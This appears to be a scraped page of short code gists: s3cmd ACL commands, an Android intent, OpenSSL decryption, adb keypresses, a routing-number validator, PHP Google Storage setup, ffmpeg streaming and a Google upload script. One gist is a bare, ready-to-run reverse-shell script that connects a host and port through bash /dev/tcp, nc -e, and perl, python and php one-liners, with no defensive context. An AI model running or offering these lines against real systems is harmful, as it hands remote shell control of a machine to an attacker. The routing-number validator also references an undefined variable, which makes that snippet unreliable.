This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
s3cmd setacl s3://bucket/path/to/file --acl-public | |
s3cmd info s3://bucket/path/to/file | |
s3cmd setacl s3://bucket/path/to/file --acl-private |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
String packageName = "com.android.browser"; | |
String className = "com.android.browser.BrowserActivity"; | |
Intent intent = new Intent(Intent.ACTION_VIEW); | |
intent.addCategory(Intent.CATEGORY_LAUNCHER); | |
intent.setClassName(packageName, className); | |
intent.setData(Uri.parse("https://google.com")); | |
startActivity(intent); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# decrypt the key | |
openssl rsautl -decrypt -inkey rsa.key -in keyfile_crypted -out keyfile | |
# use the key to decrypt the data | |
openssl aes-256-cbc -d -in encrypted.txt -out plain_decrypted.txt -pass file:keyfile | |
rm keyfile |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://rootzwiki.com/topic/41985-enable-wifi-tether-through-adb/ | |
adb shell input keyevent 3 # home | |
adb shell am start -a android.intent.action.MAIN -n com.android.settings/.Settings | |
adb shell input keyevent 20 # down | |
adb shell input keyevent 20 # down |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
The function checks correctness of a routing number using the Checksum algorithm. | |
Checksum algorithm: http://en.wikipedia.org/wiki/Routing_transit_number#Check_digit | |
""" | |
def validate(routing_number): | |
if len(s) != 9: | |
return False | |
n = 0 | |
for i in xrange(0, len(s), 3): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
require_once("src/Google/Client.php"); | |
require_once("src/Google/Service/Storage.php"); | |
/** | |
* Connect to Google Cloud Storage API | |
*/ | |
$client = new Google_Client(); | |
$client->setApplicationName("App Name"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
# | |
# Diffusion youtube avec ffmpeg | |
# Configurer youtube avec une résolution 720p. La vidéo n'est pas scalée. | |
VBR="2500k" # Bitrate de la vidéo en sortie | |
FPS="30" # FPS de la vidéo en sortie | |
QUAL="medium" # Preset de qualité FFMPEG | |
YOUTUBE_URL="rtmp://a.rtmp.youtube.com/live2" # URL de base RTMP youtube |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
host=$1 | |
port=$2 | |
bash -i >& /dev/tcp/$host/$port 0>&1 | |
nc -e /bin/sh $host $port | |
perl -e "use Socket;\$i=\"$host\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};" | |
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$host\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" | |
php -r "\$sock=fsockopen(\"$host\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## uploading to google | |
## rev: 22 Aug 2012 16:07 | |
det=`date +%F` | |
browser="Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1" | |
username="[email protected]" | |
password="password" | |
accountype="HOSTED" #gooApps = HOSTED , gmail=GOOGLE |